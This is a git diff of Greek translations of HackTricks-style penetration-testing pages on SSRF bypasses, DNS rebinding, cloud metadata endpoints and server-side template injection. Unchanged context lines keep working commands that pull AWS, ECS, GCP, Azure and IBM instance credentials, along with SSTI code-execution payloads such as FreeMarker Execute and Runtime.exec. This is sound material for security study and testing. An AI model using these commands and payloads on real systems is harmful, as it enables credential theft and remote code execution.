Η PHP επιτρέπει τη χρήση του **χαρακτήρα `*` πριν από μια κάθετο στη διαδρομή** της διεύθυνσης URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ρίζα διαδρομή `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε δεκαεξαδικό χωρίς τελείες, για παράδειγμα:
|
||||
Η PHP επιτρέπει τη χρήση του **χαρακτήρα `*` πριν από μια κάθετο στη διαδρομή** της διεύθυνσης URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ριζική διαδρομή `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε δεκαεξαδικό χωρίς τελείες, για παράδειγμα:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -253,7 +253,7 @@ Connection: close
|
||||
```
|
||||
## DNS Rebidding CORS/SOP bypass
|
||||
|
||||
Αν έχετε **προβλήματα** να **εξάγετε περιεχόμενο από μια τοπική IP** λόγω **CORS/SOP**, η **DNS Rebidding** μπορεί να χρησιμοποιηθεί για να παρακαμφθεί αυτός ο περιορισμός:
|
||||
Αν έχετε **προβλήματα** να **εξάγετε περιεχόμενο από μια τοπική IP** λόγω **CORS/SOP**, η **DNS Rebidding** μπορεί να χρησιμοποιηθεί για να παρακάμψει αυτόν τον περιορισμό:
|
||||
|
||||
{{#ref}}
|
||||
../cors-bypass.md
|
||||
@ -261,9 +261,9 @@ Connection: close
|
||||
|
||||
### Automated DNS Rebidding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS ονόματος του διακομιστή επίθεσης με τη διεύθυνση IP της στοχευμένης μηχανής και να σερβίρει επιθέσεις payload για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχευμένη μηχανή.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS ονόματος του διακομιστή επίθεσης με τη διεύθυνση IP της στοχοθετημένης μηχανής και να σερβίρει επιθέσεις payload για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχοθετημένη μηχανή.
|
||||
|
||||
Δείτε επίσης τον **δημόσια λειτουργούντα διακομιστή στο** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
Δείτε επίσης τον **δημόσια τρέχοντα διακομιστή στο** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
## DNS Rebidding + TLS Session ID/Session ticket
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Κατάχρηση SSRF στο περιβάλλον AWS EC2
|
||||
|
||||
**Το metadata** endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε μηχανή EC2 και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτήν. Είναι προσβάσιμο στη διεύθυνση: `http://169.254.169.254` ([πληροφορίες σχετικά με το metadata εδώ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Το metadata** endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε μηχανή EC2 και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτό. Είναι προσβάσιμο στη διεύθυνση: `http://169.254.169.254` ([πληροφορίες σχετικά με το metadata εδώ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Υπάρχουν **2 εκδόσεις** του metadata endpoint. Η **πρώτη** επιτρέπει την **πρόσβαση** στο endpoint μέσω **GET** αιτημάτων (έτσι οποιοδήποτε **SSRF μπορεί να το εκμεταλλευτεί**). Για την **έκδοση 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), πρέπει να ζητήσετε ένα **token** στέλνοντας ένα **PUT** αίτημα με ένα **HTTP header** και στη συνέχεια να χρησιμοποιήσετε αυτό το token για να αποκτήσετε πρόσβαση στο metadata με ένα άλλο HTTP header (έτσι είναι **πιο περίπλοκο να καταχραστεί** με ένα SSRF).
|
||||
|
||||
@ -79,7 +79,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
||||
|
||||
Μπορείτε επίσης να ελέγξετε δημόσια **EC2 security credentials** στο: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Μπορείτε στη συνέχεια να πάρετε **αυτά τα credentials και να τα χρησιμοποιήσετε με το AWS CLI**. Αυτό θα σας επιτρέψει να κάνετε **οτιδήποτε έχει άδεια αυτός ο ρόλος**.
|
||||
Μπορείτε στη συνέχεια να πάρετε **αυτά τα credentials και να τα χρησιμοποιήσετε με το AWS CLI**. Αυτό θα σας επιτρέψει να κάνετε **οτιδήποτε έχει άδειες** να κάνει αυτός ο ρόλος.
|
||||
|
||||
Για να εκμεταλλευτείτε τα νέα credentials, θα χρειαστεί να δημιουργήσετε ένα νέο προφίλ AWS όπως αυτό:
|
||||
```
|
||||
@ -94,7 +94,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||
|
||||
### SSRF στο AWS ECS (Container Service) διαπιστευτήρια
|
||||
|
||||
**ECS**, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε την υποδομή διαχείρισης του δικού σας cluster, επειδή το ECS το διαχειρίζεται αυτό για εσάς. Εάν καταφέρετε να συμβιβάσετε την υπηρεσία που εκτελείται στο **ECS**, οι **τελικοί μεταδεδομένων αλλάζουν**.
|
||||
**ECS**, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε την υποδομή διαχείρισης του δικού σας cluster, επειδή το ECS το διαχειρίζεται για εσάς. Εάν καταφέρετε να παραβιάσετε την υπηρεσία που εκτελείται στο **ECS**, οι **τελικοί μεταδεδομένων αλλάζουν**.
|
||||
|
||||
Εάν αποκτήσετε πρόσβαση στο _**http://169.254.170.2/v2/credentials/\<GUID>**_, θα βρείτε τα διαπιστευτήρια της μηχανής ECS. Αλλά πρώτα πρέπει να **βρείτε το \<GUID>**. Για να βρείτε το \<GUID> πρέπει να διαβάσετε τη μεταβλητή **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** μέσα στη μηχανή.\
|
||||
Θα μπορούσατε να είστε σε θέση να το διαβάσετε εκμεταλλευόμενοι μια **Path Traversal** στο `file:///proc/self/environ`\
|
||||
@ -103,11 +103,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> Σημειώστε ότι σε **ορισμένες περιπτώσεις** θα μπορείτε να έχετε πρόσβαση στα **μεταδεδομένα EC2** από το κοντέινερ (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια, από το κοντέινερ μπορείτε να έχετε πρόσβαση τόσο στο ρόλο IAM του κοντέινερ όσο και στο ρόλο IAM του EC2.
|
||||
> Σημειώστε ότι σε **ορισμένες περιπτώσεις** θα μπορείτε να αποκτήσετε πρόσβαση στα **μεταδεδομένα EC2** από το κοντέινερ (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το κοντέινερ μπορείτε να αποκτήσετε πρόσβαση τόσο στο ρόλο IAM του κοντέινερ όσο και στο ρόλο IAM του EC2.
|
||||
|
||||
### SSRF για AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
Σε αυτή την περίπτωση, οι **διαπιστευτήρια αποθηκεύονται σε μεταβλητές περιβάλλοντος**. Έτσι, για να έχετε πρόσβαση σε αυτά, πρέπει να αποκτήσετε πρόσβαση σε κάτι όπως **`file:///proc/self/environ`**.
|
||||
Σε αυτή την περίπτωση οι **διαπιστεύσεις αποθηκεύονται σε μεταβλητές περιβάλλοντος**. Έτσι, για να τις αποκτήσετε, πρέπει να αποκτήσετε πρόσβαση σε κάτι όπως **`file:///proc/self/environ`**.
|
||||
|
||||
Το **όνομα** των **ενδιαφερόντων μεταβλητών περιβάλλοντος** είναι:
|
||||
|
||||
@ -115,10 +115,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
- `AWS_SECRET_ACCESS_KEY`
|
||||
- `AWS_ACCES_KEY_ID`
|
||||
|
||||
Επιπλέον, εκτός από τα διαπιστευτήρια IAM, οι λειτουργίες Lambda έχουν επίσης **δεδομένα εκδήλωσης που μεταφέρονται στη λειτουργία όταν ξεκινά**. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) και θα μπορούσαν να περιέχουν **ευαίσθητες** **πληροφορίες** (όπως μέσα στις **stageVariables**). Σε αντίθεση με τα διαπιστευτήρια IAM, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
Επιπλέον, εκτός από τις διαπιστεύσεις IAM, οι λειτουργίες Lambda έχουν επίσης **δεδομένα εκδήλωσης που μεταφέρονται στη λειτουργία όταν ξεκινά**. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) και μπορεί να περιέχουν **ευαίσθητες** **πληροφορίες** (όπως μέσα στις **stageVariables**). Σε αντίθεση με τις διαπιστεύσεις IAM, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι τα **διαπιστευτήρια lambda** βρίσκονται μέσα στις **μεταβλητές περιβάλλοντος**. Έτσι, αν η **στοίβα παρακολούθησης** του κώδικα lambda εκτυπώνει μεταβλητές περιβάλλοντος, είναι δυνατόν να **εξαχθούν προκαλώντας ένα σφάλμα** στην εφαρμογή.
|
||||
> Σημειώστε ότι οι **διαπιστεύσεις lambda** είναι μέσα στις **μεταβλητές περιβάλλοντος**. Έτσι, αν η **στοίβα κλήσεων** του κώδικα lambda εκτυπώνει μεταβλητές περιβάλλοντος, είναι δυνατόν να **εξαχθούν προκαλώντας ένα σφάλμα** στην εφαρμογή.
|
||||
|
||||
### SSRF URL για AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
@ -232,14 +232,14 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Για να **χρησιμοποιήσετε το εξαγόμενο token του λογαριασμού υπηρεσίας** μπορείτε απλά να κάνετε:
|
||||
> Για να **χρησιμοποιήσετε το εξαγόμενο token υπηρεσίας** μπορείτε απλά να κάνετε:
|
||||
>
|
||||
> ```bash
|
||||
> # Μέσω env vars
|
||||
> # Via env vars
|
||||
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
> gcloud projects list
|
||||
>
|
||||
> # Μέσω ρύθμισης
|
||||
> # Via setup
|
||||
> echo "<token>" > /some/path/to/token
|
||||
> gcloud config set auth/access_token_file /some/path/to/token
|
||||
> gcloud projects list
|
||||
@ -299,7 +299,7 @@ done
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
> [!WARNING]
|
||||
> Δεν υπάρχουν πράγματα όπως οι AWS Roles ή οι GCP service account, οπότε μην περιμένετε να βρείτε credentials bot μεταδεδομένων
|
||||
> Δεν υπάρχουν πράγματα όπως οι AWS Roles ή οι GCP service account, οπότε μην περιμένετε να βρείτε διαπιστευτήρια bot μεταδεδομένων
|
||||
|
||||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
@ -320,7 +320,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
- **Πρέπει** να περιέχει την κεφαλίδα `Metadata: true`
|
||||
- Δεν πρέπει **να** περιέχει μια κεφαλίδα `X-Forwarded-For`
|
||||
- Δεν πρέπει **να περιέχει** μια κεφαλίδα `X-Forwarded-For`
|
||||
|
||||
> [!TIP]
|
||||
> Ένα Azure VM μπορεί να έχει συνδεδεμένη 1 διαχειριζόμενη ταυτότητα συστήματος και αρκετές διαχειριζόμενες ταυτότητες χρηστών. Αυτό σημαίνει βασικά ότι μπορείτε να **παριστάνετε όλες τις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες σε ένα VM**.
|
||||
@ -331,7 +331,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> Επομένως, για να βρείτε όλες τις συνδεδεμένες διαχειριζόμενες ταυτότητες μπορείτε να κάνετε:
|
||||
>
|
||||
> - Λάβετε **συνδεδεμένες ταυτότητες με az cli** (αν έχετε ήδη παραβιάσει έναν κύριο στο Azure tenant)
|
||||
> - Λάβετε **συνδεδεμένες ταυτότητες με az cli** (αν έχετε ήδη παραβιάσει έναν κύριο στον Azure tenant)
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
@ -357,12 +357,12 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # Προσπαθήστε να λάβετε τις συνδεδεμένες διαχειριζόμενες ταυτότητες
|
||||
> # Δοκιμάστε να λάβετε τις συνδεδεμένες διαχειριζόμενες ταυτότητες
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - **Λάβετε όλες** τις καθορισμένες διαχειριζόμενες ταυτότητες στο tenant και **brute force** για να δείτε αν κάποια από αυτές είναι συνδεδεμένη στο VM:
|
||||
> - **Λάβετε όλες** τις καθορισμένες διαχειριζόμενες ταυτότητες στον tenant και **brute force** για να δείτε αν κάποια από αυτές είναι συνδεδεμένη στο VM:
|
||||
>
|
||||
> ```bash
|
||||
> az identity list
|
||||
@ -416,9 +416,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
|
||||
### Υπηρεσίες Azure App & Functions
|
||||
|
||||
Από το **env** μπορείτε να αποκτήσετε τις τιμές των **`IDENTITY_HEADER`** και **`IDENTITY_ENDPOINT`**. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να μιλήσετε με τον διακομιστή μεταδεδομένων.
|
||||
Από το **env** μπορείτε να αποκτήσετε τις τιμές των **`IDENTITY_HEADER`** και **`IDENTITY_ENDPOINT`**. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να επικοινωνήσετε με τον διακομιστή μεταδεδομένων.
|
||||
|
||||
Οι περισσότερες φορές, θέλετε ένα token για έναν από αυτούς τους πόρους:
|
||||
Οι περισσότερες φορές, θέλετε ένα token για μία από αυτές τις πηγές:
|
||||
|
||||
- [https://storage.azure.com](https://storage.azure.com/)
|
||||
- [https://vault.azure.net](https://vault.azure.net/)
|
||||
@ -540,7 +540,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
||||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι στην IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud.
|
||||
> Σημειώστε ότι στην IBM, από προεπιλογή, τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud.
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -564,7 +564,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
Η τεκμηρίωση για τις υπηρεσίες μεταδεδομένων διαφόρων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να αποκτηθεί πληροφορία ρύθμισης και εκτέλεσης για τις παρουσίες. Κάθε πλατφόρμα προσφέρει μοναδικά endpoints για την πρόσβαση στις υπηρεσίες μεταδεδομένων της.
|
||||
Documentation για τις υπηρεσίες μεταδεδομένων διαφόρων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να αποκτηθεί πληροφορία ρύθμισης και εκτέλεσης για τις περιπτώσεις. Κάθε πλατφόρμα προσφέρει μοναδικά endpoints για την πρόσβαση στις υπηρεσίες μεταδεδομένων της.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
@ -593,7 +593,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
||||
|
||||
## Alibaba
|
||||
|
||||
Η Alibaba προσφέρει endpoints για την πρόσβαση σε μεταδεδομένα, συμπεριλαμβανομένων των IDs παρουσίας και εικόνας:
|
||||
Η Alibaba προσφέρει endpoints για την πρόσβαση σε μεταδεδομένα, συμπεριλαμβανομένων των IDs περιπτώσεων και εικόνας:
|
||||
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
|
@ -1,4 +1,4 @@
|
||||
# SSRF Ευάλωτες Πλατφόρμες
|
||||
# SSRF Vulnerable Platforms
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Τοπικός υπολογιστής
|
||||
### Τοπικός Υπολογιστής
|
||||
```bash
|
||||
# Localhost
|
||||
http://127.0.0.1:80
|
||||
@ -164,7 +164,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
### Bypass via redirect
|
||||
|
||||
Είναι πιθανό ο διακομιστής να **φιλτράρει το αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **απάντηση ανακατεύθυνσης** σε αυτό το αίτημα.\
|
||||
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο μέρος όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως gopher.\
|
||||
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο σημείο όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως το gopher.\
|
||||
[Δείτε αυτή την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -19,15 +19,15 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Το payload `{{bad-stuff-here}}` εισάγεται στην παράμετρο `name`. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή.
|
||||
|
||||
Για να αποτραπούν οι ευπάθειες από την έγχυση template στον διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που είναι ευαίσθητες στο πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
|
||||
Για να αποτραπούν οι ευπάθειες από την πλευρά του διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που είναι ευαίσθητες στο πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
|
||||
|
||||
### Ανίχνευση
|
||||
|
||||
Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
|
||||
Για να ανιχνευθεί η Server-Side Template Injection (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
|
||||
|
||||
- Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
|
||||
- Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
|
||||
- **Plaintext Context**: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ. `{{7*7}}`, `${7*7}`).
|
||||
- **Plaintext Context**: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ., `{{7*7}}`, `${7*7}`).
|
||||
- **Code Context**: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το `greeting` στο `http://vulnerable-website.com/?greeting=data.username` για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στο `greeting=data.username}}hello` που επιστρέφει το όνομα χρήστη.
|
||||
|
||||
#### Φάση Αναγνώρισης
|
||||
@ -102,7 +102,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
||||
- `{{7*7}} = {{7*7}}`
|
||||
- `${7*7} = 49`
|
||||
- `#{7*7} = 49 -- (legacy)`
|
||||
- `${7*'7'} Τίποτα`
|
||||
- `${7*'7'} Nothing`
|
||||
- `${foobar}`
|
||||
```java
|
||||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
@ -172,7 +172,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται εντός συγκεκριμένων χαρακτηριστικών. Ωστόσο, υποστηρίζεται _inline έκφραση_ για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως `[[...]]` ή `[(...)]`. Έτσι, μια απλή δοκιμή SSTI μπορεί να μοιάζει με `[[${7*7}]]`.
|
||||
|
||||
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους `TemplateResolver` για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι ασυνήθιστο.
|
||||
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους `TemplateResolver` για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι σπάνιο.
|
||||
|
||||
Το Thymeleaf προσφέρει επίσης _προεπεξεργασία εκφράσεων_, όπου οι εκφράσεις εντός διπλών υπογραμμίσεων (`__...__`) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως αποδεικνύεται στην τεκμηρίωση του Thymeleaf:
|
||||
```java
|
||||
@ -817,7 +817,7 @@ range.constructor(
|
||||
|
||||
[Επίσημη ιστοσελίδα](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη sandboxed περιβάλλον εκτέλεσης, ευρέως χρησιμοποιούμενη και με άδεια BSD.
|
||||
> Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη sandboxed εκτελεστική περιβάλλον, ευρέως χρησιμοποιούμενη και με άδεια BSD.
|
||||
|
||||
- `{{7*7}} = Error`
|
||||
- `${7*7} = ${7*7}`
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
- **JavaServer Faces (JSF)**: Για τη σύνδεση των UI components με τα δεδομένα/ενέργειες του backend.
|
||||
- **JavaServer Pages (JSP)**: Για την πρόσβαση και την επεξεργασία δεδομένων μέσα στις σελίδες JSP.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: Για τη διευκόλυνση της αλληλεπίδρασης της web layer με τα managed beans.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: Για την διευκόλυνση της αλληλεπίδρασης της web layer με τα managed beans.
|
||||
|
||||
**Πλαίσια Χρήσης**:
|
||||
|
||||
@ -67,7 +67,7 @@ Enter a String to evaluate:
|
||||
|
||||
## **Διδακτικό Υλικό Βασισμένο σε CVE**
|
||||
|
||||
Ελέγξτε το σε **αυτή την ανάρτηση:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
Ελέγξτε το **σε αυτή την ανάρτηση:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
|
||||
## Payloads
|
||||
|
||||
|
@ -294,7 +294,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
